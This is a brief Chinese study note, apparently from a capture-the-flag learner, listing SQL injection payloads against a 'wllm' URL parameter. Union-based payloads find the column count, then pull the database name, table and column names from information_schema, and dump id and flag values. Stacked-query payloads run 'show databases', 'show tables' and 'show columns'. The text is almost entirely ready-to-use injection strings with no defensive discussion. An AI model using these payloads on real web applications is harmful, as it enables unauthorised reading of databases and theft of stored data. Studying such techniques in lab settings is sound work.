为了加深记忆我先记录一下SQL查询语句和堆叠查询语句
?wllm=1' order by 3--+
?wllm=-1' union select 1,2,3--+
?wllm=-1' union select 1,2,database()--+
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
?wllm= -1' union select 1,2,group_concat(id,flag) from test_tb--+
1;
1;show databases;
1;show tables;
1;show columns from 用来查询表中列名称;